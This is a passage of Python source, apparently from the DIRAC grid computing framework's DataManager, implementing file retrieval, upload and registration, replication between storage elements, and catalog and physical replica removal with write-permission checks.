given directory :param self: self reference :param mixed directory: list of directories or one directory """ if type( directory ) in StringTypes: directories = [directory] else: directories = directory res = self.__getCatalogDirectoryContents( directories ) if not res['OK']: return res allReplicas = {} for lfn, metadata in res['Value'].items(): allReplicas[lfn] = metadata['Replicas'] return S_OK( allReplicas ) def getFilesFromDirectory( self, directory, days = 0, wildcard = '*' ): """ get all files from :directory: older than :days: days matching to :wildcard: :param self: self reference :param mixed directory: list of directories or directory name :param int days: ctime days :param str wildcard: pattern to match """ if type( directory ) in StringTypes: directories = [directory] else: directories = directory self.log.debug( "Obtaining the files older than %d days in %d directories:" % ( days, len( directories ) ) ) for folder in directories: self.log.debug( folder ) activeDirs = directories allFiles = [] while len( activeDirs ) > 0: currentDir = activeDirs[0] # We only need the metadata (verbose) if a limit date is given res = returnSingleResult( self.fc.listDirectory( currentDir, verbose = ( days != 0 ) ) ) activeDirs.remove( currentDir ) if not res['OK']: self.log.debug( "Error retrieving directory contents", "%s %s" % ( currentDir, res['Message'] ) ) else: dirContents = res['Value'] subdirs = dirContents['SubDirs'] files = dirContents['Files'] self.log.debug( "%s: %d files, %d sub-directories" % ( currentDir, len( files ), len( subdirs ) ) ) for subdir in subdirs: if ( not days ) or self.__isOlderThan( subdirs[subdir]['CreationDate'], days ): if subdir[0] != '/': subdir = currentDir + '/' + subdir activeDirs.append( subdir ) for fileName in files: fileInfo = files[fileName] fileInfo = fileInfo.get( 'Metadata', fileInfo ) if ( not days ) or not fileInfo.get( 'CreationDate' ) or self.__isOlderThan( fileInfo['CreationDate'], days ): if wildcard == '*' or fnmatch.fnmatch( fileName, wildcard ): fileName = fileInfo.get( 'LFN', fileName ) allFiles.append( fileName ) return S_OK( allFiles ) def __isOlderThan( self, stringTime, days ): timeDelta = timedelta( days = days ) maxCTime = datetime.utcnow() - timeDelta # st = time.strptime( stringTime, "%a %b %d %H:%M:%S %Y" ) # cTimeStruct = datetime( st[0], st[1], st[2], st[3], st[4], st[5], st[6], None ) cTimeStruct = stringTime if cTimeStruct < maxCTime: return True return False ########################################################################## # # These are the data transfer methods # def getFile( self, lfn, destinationDir = '' ): """ Get a local copy of a LFN from Storage Elements. 'lfn' is the logical file name for the desired file """ if type( lfn ) == ListType: lfns = lfn elif type( lfn ) == StringType: lfns = [lfn] else: errStr = "getFile: Supplied lfn must be string or list of strings." self.log.debug( errStr ) return S_ERROR( errStr ) self.log.debug( "getFile: Attempting to get %s files." % len( lfns ) ) res = self.getActiveReplicas( lfns ) if not res['OK']: return res failed = res['Value']['Failed'] lfnReplicas = res['Value']['Successful'] res = self.fc.getFileMetadata( lfnReplicas.keys() ) if not res['OK']: return res failed.update( res['Value']['Failed'] ) fileMetadata = res['Value']['Successful'] successful = {} for lfn in fileMetadata: res = self.__getFile( lfn, lfnReplicas[lfn], fileMetadata[lfn], destinationDir ) if not res['OK']: failed[lfn] = res['Message'] else: successful[lfn] = res['Value'] gDataStoreClient.commit() return S_OK( { 'Successful': successful, 'Failed' : failed } ) def __getFile( self, lfn, replicas, metadata, destinationDir ): if not replicas: errStr = "No accessible replicas found" self.log.debug( errStr ) return S_ERROR( errStr ) # Determine the best replicas res = self._getSEProximity( replicas.keys() ) if not res['OK']: return res errTuple = ( "No SE", "found" ) for storageElementName in res['Value']: se = StorageElement( storageElementName, vo = self.vo ) oDataOperation = self.__initialiseAccountingObject( 'getFile', storageElementName, 1 ) oDataOperation.setStartTime() startTime = time.time() res = returnSingleResult( se.getFile( lfn, localPath = os.path.realpath( destinationDir ) ) ) getTime = time.time() - startTime oDataOperation.setValueByKey( 'TransferTime', getTime ) if not res['OK']: errTuple = ( "Error getting file from storage:", "%s from %s, %s" % ( lfn, storageElementName, res['Message'] ) ) oDataOperation.setValueByKey( 'TransferOK', 0 ) oDataOperation.setValueByKey( 'FinalStatus', 'Failed' ) oDataOperation.setEndTime() else: oDataOperation.setValueByKey( 'TransferSize', res['Value'] ) localFile = os.path.realpath( os.path.join( destinationDir, os.path.basename( lfn ) ) ) localAdler = fileAdler( localFile ) if ( metadata['Size'] != res['Value'] ): oDataOperation.setValueByKey( 'FinalStatus', 'FinishedDirty' ) errTuple = ( "Mismatch of sizes:", "downloaded = %d, catalog = %d" % ( res['Value'], metadata['Size'] ) ) elif ( metadata['Checksum'] ) and ( not compareAdler( metadata['Checksum'], localAdler ) ): oDataOperation.setValueByKey( 'FinalStatus', 'FinishedDirty' ) errTuple = ( "Mismatch of checksums:", "downloaded = %s, catalog = %s" % ( localAdler, metadata['Checksum'] ) ) else: oDataOperation.setEndTime() gDataStoreClient.addRegister( oDataOperation ) return S_OK( localFile ) # If we are here, there was an error, log it debug level self.log.debug( errTuple[0], errTuple[1] ) gDataStoreClient.addRegister( oDataOperation ) self.log.verbose( "getFile: Failed to get local copy from any replicas:", "\n%s %s" % errTuple ) return S_ERROR( "DataManager.getFile: Failed to get local copy from any replicas\n%s %s" % errTuple ) def _getSEProximity( self, ses ): """ get SE proximity """ siteName = DIRAC.siteName() localSEs = [se for se in getSEsForSite( siteName )['Value'] if se in ses] countrySEs = [] countryCode = str( siteName ).split( '.' )[-1] res = getSEsForCountry( countryCode ) if res['OK']: countrySEs = [se for se in res['Value'] if se in ses and se not in localSEs] sortedSEs = randomize( localSEs ) + randomize( countrySEs ) sortedSEs += randomize( [se for se in ses if se not in sortedSEs] ) return S_OK( sortedSEs ) def putAndRegister( self, lfn, fileName, diracSE, guid = None, path = None, checksum = None ): """ Put a local file to a Storage Element and register in the File Catalogues 'lfn' is the file LFN 'file' is the full path to the local file 'diracSE' is the Storage Element to which to put the file 'guid' is the guid with which the file is to be registered (if not provided will be generated) 'path' is the path on the storage where the file will be put (if not provided the LFN will be used) """ # ancestors = ancestors if ancestors else list( folder = os.path.dirname( lfn ) res = self.__verifyWritePermission( folder ) if not res['OK']: return res if folder not in res['Value']['Successful']: errStr = "putAndRegister: Write access not permitted for this credential." self.log.debug( errStr, lfn ) return S_ERROR( errStr ) # Check that the local file exists if not os.path.exists( fileName ): errStr = "putAndRegister: Supplied file does not exist." self.log.debug( errStr, fileName ) return S_ERROR( errStr ) # If the path is not provided then use the LFN path if not path: path = os.path.dirname( lfn ) # Obtain the size of the local file size = getSize( fileName ) if size == 0: errStr = "putAndRegister: Supplied file is zero size." self.log.debug( errStr, fileName ) return S_ERROR( errStr ) # If the GUID is not given, generate it here if not guid: guid = makeGuid( fileName ) if not checksum: self.log.debug( "putAndRegister: Checksum information not provided. Calculating adler32." ) checksum = fileAdler( fileName ) self.log.debug( "putAndRegister: Checksum calculated to be %s." % checksum ) res = self.fc.exists( {lfn:guid} ) if not res['OK']: errStr = "putAndRegister: Completey failed to determine existence of destination LFN." self.log.debug( errStr, lfn ) return res if lfn not in res['Value']['Successful']: errStr = "putAndRegister: Failed to determine existence of destination LFN." self.log.debug( errStr, lfn ) return S_ERROR( errStr ) if res['Value']['Successful'][lfn]: if res['Value']['Successful'][lfn] == lfn: errStr = "putAndRegister: The supplied LFN already exists in the File Catalog." self.log.debug( errStr, lfn ) else: errStr = "putAndRegister: This file GUID already exists for another file. " \ "Please remove it and try again." self.log.debug( errStr, res['Value']['Successful'][lfn] ) return S_ERROR( "%s %s" % ( errStr, res['Value']['Successful'][lfn] ) ) ########################################################## # Instantiate the destination storage element here. storageElement = StorageElement( diracSE, vo = self.vo ) res = storageElement.isValid() if not res['OK']: errStr = "putAndRegister: The storage element is not currently valid." self.log.debug( errStr, "%s %s" % ( diracSE, res['Message'] ) ) return S_ERROR( errStr ) fileDict = {lfn:fileName} successful = {} failed = {} ########################################################## # Perform the put here. oDataOperation = self.__initialiseAccountingObject( 'putAndRegister', diracSE, 1 ) oDataOperation.setStartTime() oDataOperation.setValueByKey( 'TransferSize', size ) startTime = time.time() res = returnSingleResult( storageElement.putFile( fileDict ) ) putTime = time.time() - startTime oDataOperation.setValueByKey( 'TransferTime', putTime ) if not res['OK']: errStr = "putAndRegister: Failed to put file to Storage Element." oDataOperation.setValueByKey( 'TransferOK', 0 ) oDataOperation.setValueByKey( 'FinalStatus', 'Failed' ) oDataOperation.setEndTime() gDataStoreClient.addRegister( oDataOperation ) startTime = time.time() gDataStoreClient.commit() self.log.debug( 'putAndRegister: Sending accounting took %.1f seconds' % ( time.time() - startTime ) ) self.log.debug( errStr, "%s: %s" % ( fileName, res['Message'] ) ) return S_ERROR( "%s %s" % ( errStr, res['Message'] ) ) successful[lfn] = {'put': putTime} ########################################################### # Perform the registration here destinationSE = storageElement.getStorageElementName()['Value'] res = returnSingleResult( storageElement.getURL( lfn ) ) if not res['OK']: errStr = "putAndRegister: Failed to generate destination PFN." self.log.debug( errStr, res['Message'] ) return S_ERROR( errStr ) destUrl = res['Value'] oDataOperation.setValueByKey( 'RegistrationTotal', 1 ) fileTuple = ( lfn, destUrl, size, destinationSE, guid, checksum ) registerDict = {'LFN':lfn, 'PFN':destUrl, 'Size':size, 'TargetSE':destinationSE, 'GUID':guid, 'Addler':checksum} startTime = time.time() res = self.registerFile( fileTuple ) registerTime = time.time() - startTime oDataOperation.setValueByKey( 'RegistrationTime', registerTime ) if not res['OK']: errStr = "putAndRegister: Completely failed to register file." self.log.debug( errStr, res['Message'] ) failed[lfn] = { 'register' : registerDict } oDataOperation.setValueByKey( 'FinalStatus', 'Failed' ) elif lfn in res['Value']['Failed']: errStr = "putAndRegister: Failed to register file." self.log.debug( errStr, "%s %s" % ( lfn, res['Value']['Failed'][lfn] ) ) oDataOperation.setValueByKey( 'FinalStatus', 'Failed' ) failed[lfn] = { 'register' : registerDict } else: successful[lfn]['register'] = registerTime oDataOperation.setValueByKey( 'RegistrationOK', 1 ) oDataOperation.setEndTime() gDataStoreClient.addRegister( oDataOperation ) startTime = time.time() gDataStoreClient.commit() self.log.debug( 'putAndRegister: Sending accounting took %.1f seconds' % ( time.time() - startTime ) ) return S_OK( {'Successful': successful, 'Failed': failed } ) def replicateAndRegister( self, lfn, destSE, sourceSE = '', destPath = '', localCache = '' , catalog = '' ): """ Replicate a LFN to a destination SE and register the replica. 'lfn' is the LFN to be replicated 'destSE' is the Storage Element the file should be replicated to 'sourceSE' is the source for the file replication (where not specified all replicas will be attempted) 'destPath' is the path on the destination storage element, if to be different from LHCb convention 'localCache' is the local file system location to be used as a temporary cache """ successful = {} failed = {} self.log.debug( "replicateAndRegister: Attempting to replicate %s to %s." % ( lfn, destSE ) ) startReplication = time.time() res = self.__replicate( lfn, destSE, sourceSE, destPath, localCache ) replicationTime = time.time() - startReplication if not res['OK']: errStr = "DataManager.replicateAndRegister: Completely failed to replicate file." self.log.debug( errStr, res['Message'] ) return S_ERROR( errStr ) if not res['Value']: # The file was already present at the destination SE self.log.debug( "replicateAndRegister: %s already present at %s." % ( lfn, destSE ) ) successful[lfn] = { 'replicate' : 0, 'register' : 0 } resDict = { 'Successful' : successful, 'Failed' : failed } return S_OK( resDict ) successful[lfn] = { 'replicate' : replicationTime } destPfn = res['Value']['DestPfn'] destSE = res['Value']['DestSE'] self.log.debug( "replicateAndRegister: Attempting to register %s at %s." % ( destPfn, destSE ) ) replicaTuple = ( lfn, destPfn, destSE ) startRegistration = time.time() res = self.registerReplica( replicaTuple, catalog = catalog ) registrationTime = time.time() - startRegistration if not res['OK']: # Need to return to the client that the file was replicated but not registered errStr = "replicateAndRegister: Completely failed to register replica." self.log.debug( errStr, res['Message'] ) failed[lfn] = { 'Registration' : { 'LFN' : lfn, 'TargetSE' : destSE, 'PFN' : destPfn } } else: if lfn in res['Value']['Successful']: self.log.debug( "replicateAndRegister: Successfully registered replica." ) successful[lfn]['register'] = registrationTime else: errStr = "replicateAndRegister: Failed to register replica." self.log.debug( errStr, res['Value']['Failed'][lfn] ) failed[lfn] = { 'Registration' : { 'LFN' : lfn, 'TargetSE' : destSE, 'PFN' : destPfn } } return S_OK( {'Successful': successful, 'Failed': failed} ) def replicate( self, lfn, destSE, sourceSE = '', destPath = '', localCache = '' ): """ Replicate a LFN to a destination SE and register the replica. 'lfn' is the LFN to be replicated 'destSE' is the Storage Element the file should be replicated to 'sourceSE' is the source for the file replication (where not specified all replicas will be attempted) 'destPath' is the path on the destination storage element, if to be different from LHCb convention 'localCache' is the local file system location to be used as a temporary cache """ self.log.debug( "replicate: Attempting to replicate %s to %s." % ( lfn, destSE ) ) res = self.__replicate( lfn, destSE, sourceSE, destPath, localCache ) if not res['OK']: errStr = "replicate: Replication failed." self.log.debug( errStr, "%s %s" % ( lfn, destSE ) ) return res if not res['Value']: # The file was already present at the destination SE self.log.debug( "replicate: %s already present at %s." % ( lfn, destSE ) ) return res return S_OK( lfn ) def __replicate( self, lfn, destSEName, sourceSEName = None, destPath = None, localCache = None ): """ Replicate a LFN to a destination SE. 'lfn' is the LFN to be replicated 'destSE' is the Storage Element the file should be replicated to 'sourceSE' is the source for the file replication (where not specified all replicas will be attempted) 'destPath' is the path on the destination storage element, if to be different from LHCb convention 'localCache' if cannot do third party transfer, we do get and put through this local directory """ log = self.log.getSubLogger( '__replicate', True ) ########################################################### # Check that we have write permissions to this directory. res = self.__verifyWritePermission( lfn ) if not res['OK']: return res if lfn not in res['Value']['Successful']: errStr = "__replicate: Write access not permitted for this credential." log.debug( errStr, lfn ) return S_ERROR( errStr ) # Check that the destination storage element is sane and resolve its name log.debug( "Verifying destination StorageElement validity (%s)." % ( destSEName ) ) destStorageElement = StorageElement( destSEName, vo = self.vo ) res = destStorageElement.isValid() if not res['OK']: errStr = "The storage element is not currently valid." log.debug( errStr, "%s %s" % ( destSEName, res['Message'] ) ) return S_ERROR( errStr ) # Get the real name of the SE destSEName = destStorageElement.getStorageElementName()['Value'] ########################################################### # Check whether the destination storage element is banned log.verbose( "Determining whether %s ( destination ) is Write-banned." % destSEName ) if not self.__SEActive( destSEName ).get( 'Value', {} ).get( 'Write' ): infoStr = "Supplied destination Storage Element is not currently allowed for Write." log.debug( infoStr, destSEName ) return S_ERROR( infoStr ) # Get the LFN replicas from the file catalog log.debug( "Attempting to obtain replicas for %s." % ( lfn ) ) res = returnSingleResult( self.getReplicas( lfn ) ) if not res[ 'OK' ]: errStr = "%Failed to get replicas for LFN." log.debug( errStr, "%s %s" % ( lfn, res['Message'] ) ) return S_ERROR( "%s %s" % ( errStr, res['Message'] ) ) log.debug( "Successfully obtained replicas for LFN." ) lfnReplicas = res['Value'] ########################################################### # If the file catalog size is zero fail the transfer log.debug( "Attempting to obtain size for %s." % lfn ) res = returnSingleResult( self.fc.getFileSize( lfn ) ) if not res['OK']: errStr = "Failed to get size for LFN." log.debug( errStr, "%s %s" % ( lfn, res['Message'] ) ) return S_ERROR( "%s %s" % ( errStr, res['Message'] ) ) catalogSize = res['Value'] if catalogSize == 0: errStr = "Registered file size is 0." log.debug( errStr, lfn ) return S_ERROR( errStr ) log.debug( "File size determined to be %s." % catalogSize ) ########################################################### # If the LFN already exists at the destination we have nothing to do if destSEName in lfnReplicas: log.debug( "__replicate: LFN is already registered at %s." % destSEName ) return S_OK() ########################################################### # If the source is specified, check that it is in the replicas if sourceSEName: log.debug( "Determining whether source Storage Element specified is sane." ) if sourceSEName not in lfnReplicas: errStr = "LFN does not exist at supplied source SE." log.error( errStr, "%s %s" % ( lfn, sourceSEName ) ) return S_ERROR( errStr ) # If sourceSE is specified, then we consider this one only, otherwise # we consider them all possibleSourceSEs = [sourceSEName] if sourceSEName else lfnReplicas.keys() # We sort the possibileSourceSEs with the SEs that are on the same site than the destination first # reverse = True because True > False possibleSourceSEs = sorted( possibleSourceSEs, key = lambda x : isSameSiteSE( x, destSEName ).get( 'Value', False ), reverse = True ) # In case we manage to find SEs that would work as a source, but we can't negotiate a protocol # we will do a get and put using one of this sane SE possibleSEsForIntermediateTransfer = [] # Take into account the destination path if destPath: destPath = '%s/%s' % ( destPath, os.path.basename( lfn ) ) else: destPath = lfn for candidateSEName in possibleSourceSEs: log.debug( "Consider %s as a source" % candidateSEName ) # Check that the candidate is active if not self.__SEActive( candidateSEName ).get( 'Value', {} ).get( 'Read' ): log.debug( "%s is currently not allowed as a source." % candidateSEName ) continue else: log.debug( "%s is available for use." % candidateSEName ) candidateSE = StorageElement( candidateSEName, vo = self.vo ) # Check that the SE is valid res = candidateSE.isValid() if not res['OK']: log.debug( "The storage element is not currently valid.", "%s %s" % ( candidateSEName, res['Message'] ) ) continue else: log.debug( "The storage is currently valid", candidateSEName ) # Check that the file size corresponds to the one in the FC res = returnSingleResult( candidateSE.getFileSize( lfn ) ) if not res['OK']: log.debug( "could not get fileSize on %s" % candidateSEName, res['Message'] ) continue seFileSize = res['Value'] if seFileSize != catalogSize: log.debug( "Catalog size and physical file size mismatch.", "%s %s" % ( catalogSize, seFileSize ) ) continue else: log.debug( "Catalog size and physical size match" ) res = destStorageElement.negociateProtocolWithOtherSE( candidateSE, protocols = self.thirdPartyProtocols ) if not res['OK']: log.debug( "Error negotiating replication protocol", res['Message'] ) continue replicationProtocol = res['Value'] if not replicationProtocol: possibleSEsForIntermediateTransfer.append( candidateSE ) log.debug( "No protocol suitable for replication found" ) continue log.debug( 'Found common protocols', replicationProtocol ) # THIS WOULD NOT WORK IF PROTO == file !! # Compare the urls to make sure we are not overwriting res = returnSingleResult( candidateSE.getURL( lfn, protocol = replicationProtocol ) ) if not res['OK']: log.debug( "Cannot get sourceURL", res['Message'] ) continue sourceURL = res['Value'] res = returnSingleResult( destStorageElement.getURL( destPath, protocol = replicationProtocol ) ) if not res['OK']: log.debug( "Cannot get destURL", res['Message'] ) continue destURL = res['Value'] if sourceURL == destURL: log.debug( "Same source and destination, give up" ) continue # Attempt the transfer res = returnSingleResult( destStorageElement.replicateFile( {destPath:sourceURL}, sourceSize = catalogSize ) ) if not res['OK']: log.debug( "Replication failed", "%s from %s to %s." % ( lfn, candidateSEName, destSEName ) ) continue log.debug( "Replication successful.", res['Value'] ) res = returnSingleResult( destStorageElement.getURL(destPath, protocol = self.registrationProtocol)) if not res['OK']: log.debug( 'Error getting the registration URL', res['Message'] ) # it's maybe pointless to try the other candidateSEs... continue registrationURL = res['Value'] return S_OK( {'DestSE':destSEName, 'DestPfn':registrationURL} ) # If we are here, that means that we could not make a third party transfer. # Check if we have some sane SEs from which we could do a get/put localDir = os.path.realpath( localCache if localCache else '.' ) localFile = os.path.join( localDir, os.path.basename( lfn ) ) log.debug( "Will try intermediate transfer from %s sources" % len( possibleSEsForIntermediateTransfer ) ) for candidateSE in possibleSEsForIntermediateTransfer: res = returnSingleResult( candidateSE.getFile( lfn, localPath = localDir ) ) if not res['OK']: log.debug( 'Error getting the file from %s' % candidateSE.name, res['Message'] ) continue res = returnSingleResult( destStorageElement.putFile( {destPath:localFile} ) ) if not res['OK']: log.debug( 'Error putting file coming from %s' % candidateSE.name, res['Message'] ) # if the put is the problem, it's maybe pointless to try the other candidateSEs... continue # get URL with default protocol to return it res = returnSingleResult( destStorageElement.getURL( destPath, protocol = self.registrationProtocol ) ) if not res['OK']: log.debug( 'Error getting the registration URL', res['Message'] ) # it's maybe pointless to try the other candidateSEs... continue registrationURL = res['Value'] return S_OK( {'DestSE':destSEName, 'DestPfn':registrationURL} ) # If here, we are really doomed errStr = "Failed to replicate with all sources." log.debug( errStr, lfn ) return S_ERROR( errStr ) ################################################################### # # These are the file catalog write methods # def registerFile( self, fileTuple, catalog = '' ): """ Register a file or a list of files :param self: self reference :param tuple fileTuple: (lfn, physicalFile, fileSize, storageElementName, fileGuid, checksum ) :param str catalog: catalog name """ if type( fileTuple ) == ListType: fileTuples = fileTuple elif type( fileTuple ) == TupleType: fileTuples = [fileTuple] else: errStr = "registerFile: Supplied file info must be tuple of list of tuples." self.log.debug( errStr ) return S_ERROR( errStr ) self.log.debug( "registerFile: Attempting to register %s files." % len( fileTuples ) ) res = self.__registerFile( fileTuples, catalog ) if not res['OK']: errStr = "registerFile: Completely failed to register files." self.log.debug( errStr, res['Message'] ) return res # Remove Failed LFNs if they are in success success = res['Value']['Successful'] failed = res['Value']['Failed'] return res def __registerFile( self, fileTuples, catalog ): """ register file to cataloge """ fileDict = {} for lfn, physicalFile, fileSize, storageElementName, fileGuid, checksum in fileTuples: fileDict[lfn] = {'PFN':physicalFile, 'Size':fileSize, 'SE':storageElementName, 'GUID':fileGuid, 'Checksum':checksum} if catalog: fileCatalog = FileCatalog( catalog, vo = self.vo ) if not fileCatalog.isOK(): return S_ERROR( "Can't get FileCatalog %s" % catalog ) else: fileCatalog = self.fc res = fileCatalog.addFile( fileDict ) if not res['OK']: errStr = "__registerFile: Completely failed to register files." self.log.debug( errStr, res['Message'] ) return res def registerReplica( self, replicaTuple, catalog = '' ): """ Register a replica (or list of) supplied in the replicaTuples. 'replicaTuple' is a tuple or list of tuples of the form (lfn,pfn,se) """ if type( replicaTuple ) == ListType: replicaTuples = replicaTuple elif type( replicaTuple ) == TupleType: replicaTuples = [ replicaTuple ] else: errStr = "registerReplica: Supplied file info must be tuple of list of tuples." self.log.debug( errStr ) return S_ERROR( errStr ) self.log.debug( "registerReplica: Attempting to register %s replicas." % len( replicaTuples ) ) res = self.__registerReplica( replicaTuples, catalog ) if not res['OK']: errStr = "registerReplica: Completely failed to register replicas." self.log.debug( errStr, res['Message'] ) return res # Remove Failed LFNs if they are in success success = res['Value']['Successful'] failed = res['Value']['Failed'] return res def __registerReplica( self, replicaTuples, catalog ): """ register replica to catalogue """ seDict = {} for lfn, url, storageElementName in replicaTuples: seDict.setdefault( storageElementName, [] ).append( ( lfn, url ) ) failed = {} replicaTuples = [] for storageElementName, replicaTuple in seDict.items(): destStorageElement = StorageElement( storageElementName, vo = self.vo ) res = destStorageElement.isValid() if not res['OK']: errStr = "__registerReplica: The storage element is not currently valid." self.log.debug( errStr, "%s %s" % ( storageElementName, res['Message'] ) ) for lfn, url in replicaTuple: failed[lfn] = errStr else: storageElementName = destStorageElement.getStorageElementName()['Value'] for lfn, url in replicaTuple: res = returnSingleResult( destStorageElement.getURL( lfn, protocol = self.registrationProtocol ) ) if not res['OK']: failed[lfn] = res['Message'] else: replicaTuple = ( lfn, res['Value'], storageElementName, False ) replicaTuples.append( replicaTuple ) self.log.debug( "__registerReplica: Successfully resolved %s replicas for registration." % len( replicaTuples ) ) # HACK! replicaDict = {} for lfn, url, se, _master in replicaTuples: replicaDict[lfn] = {'SE':se, 'PFN':url} if catalog: fileCatalog = FileCatalog( catalog, vo = self.vo ) res = fileCatalog.addReplica( replicaDict ) else: res = self.fc.addReplica( replicaDict ) if not res['OK']: errStr = "__registerReplica: Completely failed to register replicas." self.log.debug( errStr, res['Message'] ) return S_ERROR( errStr ) failed.update( res['Value']['Failed'] ) successful = res['Value']['Successful'] resDict = {'Successful':successful, 'Failed':failed} return S_OK( resDict ) ################################################################### # # These are the removal methods for physical and catalogue removal # def removeFile( self, lfn, force = None ): """ Remove the file (all replicas) from Storage Elements and file catalogue 'lfn' is the file to be removed """ if force == None: force = self.ignoreMissingInFC if type( lfn ) == ListType: lfns = lfn elif type( lfn ) == StringType: lfns = [lfn] else: errStr = "removeFile: Supplied lfns must be string or list of strings." self.log.debug( errStr ) return S_ERROR( errStr ) # First check if the file exists in the FC res = self.fc.exists( lfns ) if not res['OK']: return res success = res['Value']['Successful'] lfns = [lfn for lfn in success if success[lfn] ] if force: # Files that don't exist are removed successfully successful = dict.fromkeys( [lfn for lfn in success if not success[lfn] ], True ) failed = {} else: successful = {} failed = dict.fromkeys( [lfn for lfn in success if not success[lfn] ], 'No such file or directory' ) # Check that we have write permissions to this directory and to the file. if lfns: dir4lfns = {} for lfn in lfns: dir4lfns.setdefault( os.path.dirname( lfn ), [] ).append( lfn ) res = self.__verifyWritePermission( dir4lfns.keys() ) if not res['OK']: return res if res['Value']['Failed']: errStr = "removeFile: Write access not permitted for this credential." self.log.debug( errStr, 'for %d files' % len( res['Value']['Failed'] ) ) failed.update( dict.fromkeys( [lfn for dirName in res['Value']['Failed'] for lfn in dir4lfns[dirName]], errStr ) ) lfns = list( set( [lfn for dirName in res['Value']['Successful'] for lfn in dir4lfns[dirName] ] ) ) if lfns: self.log.debug( "removeFile: Attempting to remove %s files from Storage and Catalogue. Get replicas first" % len( lfns ) ) res = self.fc.getReplicas( lfns, True ) if not res['OK']: errStr = "DataManager.removeFile: Completely failed to get replicas for lfns." self.log.debug( errStr, res['Message'] ) return res lfnDict = res['Value']['Successful'] for lfn, reason in res['Value'].get( 'Failed', {} ).items(): # Ignore files missing in FC if force is set if reason == 'No such file or directory' and force: successful[lfn] = True elif reason == 'File has zero replicas': lfnDict[lfn] = {} else: failed[lfn] = reason res = self.__removeFile( lfnDict ) if not res['OK']: errStr = "removeFile: Completely failed to remove files." self.log.debug( errStr, res['Message'] ) return res failed.update( res['Value']['Failed'] ) successful.update( res['Value']['Successful'] ) resDict = {'Successful':successful, 'Failed':failed} gDataStoreClient.commit() return S_OK( resDict ) def __removeFile( self, lfnDict ): """ remove file """ storageElementDict = {} # # sorted and reversed for lfn, repDict in sorted( lfnDict.items(), reverse = True ): for se, pfn in repDict.items(): storageElementDict.setdefault( se, [] ).append( lfn ) failed = {} successful = {} for storageElementName in sorted( storageElementDict ): lfns = storageElementDict[storageElementName] res = self.__removeReplica( storageElementName, lfns, replicaDict = lfnDict ) if not res['OK']: errStr = res['Message'] for lfn in lfns: failed[lfn] = failed.setdefault( lfn, '' ) + " %s" % errStr else: for lfn, errStr in res['Value']['Failed'].items(): failed[lfn] = failed.setdefault( lfn, '' ) + " %s" % errStr completelyRemovedFiles = [] for lfn in [lfn for lfn in lfnDict if lfn not in failed]: completelyRemovedFiles.append( lfn ) if completelyRemovedFiles: res = self.fc.removeFile( completelyRemovedFiles ) if not res['OK']: for lfn in completelyRemovedFiles: failed[lfn] = "Failed to remove file from the catalog: %s" % res['Message'] else: failed.update( res['Value']['Failed'] ) successful = res['Value']['Successful'] return S_OK( { 'Successful' : successful, 'Failed' : failed } ) def removeReplica( self, storageElementName, lfn ): """ Remove replica at the supplied Storage Element from Storage Element then file catalogue 'storageElementName' is the storage where the file is to be removed 'lfn' is the file to be removed """ if type( lfn ) == ListType: lfns = lfn elif type( lfn ) == StringType: lfns = [lfn] else: errStr = "removeReplica: Supplied lfns must be string or list of strings." self.log.debug( errStr ) return S_ERROR( errStr ) successful = {} failed = {} # Check that we have write permissions to this file. res = self.__verifyWritePermission( lfns ) if not res['OK']: return res if res['Value']['Failed']: errStr = "removeReplica: Write access not permitted for this credential." self.log.debug( errStr, 'for %d files' % len( res['Value']['Failed'] ) ) failed.update( dict.fromkeys( res['Value']['Failed'], errStr ) ) lfns = [lfn for lfn in lfns if lfn not in res['Value']['Failed']] self.log.debug( "removeReplica: Will remove catalogue entry for %s lfns at %s." % ( len( lfns ), storageElementName ) ) res = self.fc.getReplicas( lfns, True ) if not res['OK']: errStr = "removeReplica: Completely failed to get replicas for lfns." self.log.debug( errStr, res['Message'] ) return res failed.update( res['Value']['Failed'] ) replicaDict = res['Value']['Successful'] lfnsToRemove = [] for lfn, repDict in res['Value']['Successful'].items(): if storageElementName not in repDict: # The file doesn't exist at the storage element so don't have to remove it successful[lfn] = True elif len( repDict ) == 1: # The file has only a single replica so don't remove self.log.debug( "The replica you are trying to remove is the only one.", "%s @ %s" % ( lfn, storageElementName ) ) failed[lfn] = "Failed to remove sole replica" else: lfnsToRemove.append( lfn ) if not lfnsToRemove: return S_OK( { 'Successful' : successful, 'Failed' : failed } ) res = self.__removeReplica( storageElementName, lfnsToRemove, replicaDict = replicaDict ) if not res['OK']: return res failed.update( res['Value']['Failed'] ) successful.update( res['Value']['Successful'] ) gDataStoreClient.commit() return S_OK( { 'Successful' : successful, 'Failed' : failed } ) def __removeReplica( self, storageElementName, lfns, replicaDict = None ): """ remove replica Remove the replica from the storageElement, and then from the catalog :param storageElementName : The name of the storage Element :param lfns list of lfn we want to remove :param replicaDict : cache of fc.getReplicas(lfns) : { lfn { se : catalog url } } """ failed = {} successful = {} replicaDict = replicaDict if replicaDict else {} lfnsToRemove = [] for lfn in lfns: res = self.__verifyWritePermission( lfn ) if not res['OK']: return res if lfn not in res['Value']['Successful']: errStr = "__removeReplica: Write access not permitted for this credential." self.log.debug( errStr, lfn ) failed[lfn] = errStr else: lfnsToRemove.append( lfn ) res = self.__removePhysicalReplica( storageElementName, lfnsToRemove, replicaDict = replicaDict ) if not res['OK']: errStr = "__removeReplica: Failed to remove physical replicas." self.log.debug( errStr, res['Message'] ) return S_ERROR( res['Message'] ) failed.update( dict( [( lfn, error ) for lfn, error in res['Value']['Failed'].items()] ) ) # Here we use the FC PFN... replicaTuples = [( lfn, replicaDict[lfn][storageElementName], storageElementName ) for lfn in res['Value']['Successful']] if not replicaTuples: return S_OK( { 'Successful' : successful, 'Failed' : failed } ) res = self.__removeCatalogReplica( replicaTuples ) if not res['OK']: errStr = "__removeReplica: Completely failed to remove physical files." self.log.debug( errStr, res['Message'] ) failed.update( dict.fromkeys( [lfn for lfn, _pfn, _se in replicaTuples if lfn not in failed], res['Message'] ) ) successful = {} else: failed.update( res['Value']['Failed'] ) successful = res['Value']['Successful'] return S_OK( { 'Successful' : successful, 'Failed' : failed } ) def removeReplicaFromCatalog( self, storageElementName, lfn ): """ remove :lfn: replica from :storageElementName: SE :param self: self reference :param str storageElementName: SE name :param mixed lfn: a single LFN or list of LFNs """ # Remove replica from the file catalog 'lfn' are the file # to be removed 'storageElementName' is the storage where the file is to be removed if type( lfn ) == ListType: lfns = lfn elif type( lfn ) == StringType: lfns = [lfn] else: errStr = "removeReplicaFromCatalog: Supplied lfns must be string or list of strings." self.log.debug( errStr ) return S_ERROR( errStr ) self.log.debug( "removeReplicaFromCatalog: Will remove catalogue entry for %s lfns at %s." % \ ( len( lfns ), storageElementName ) ) res = self.fc.getReplicas( lfns, allStatus = True 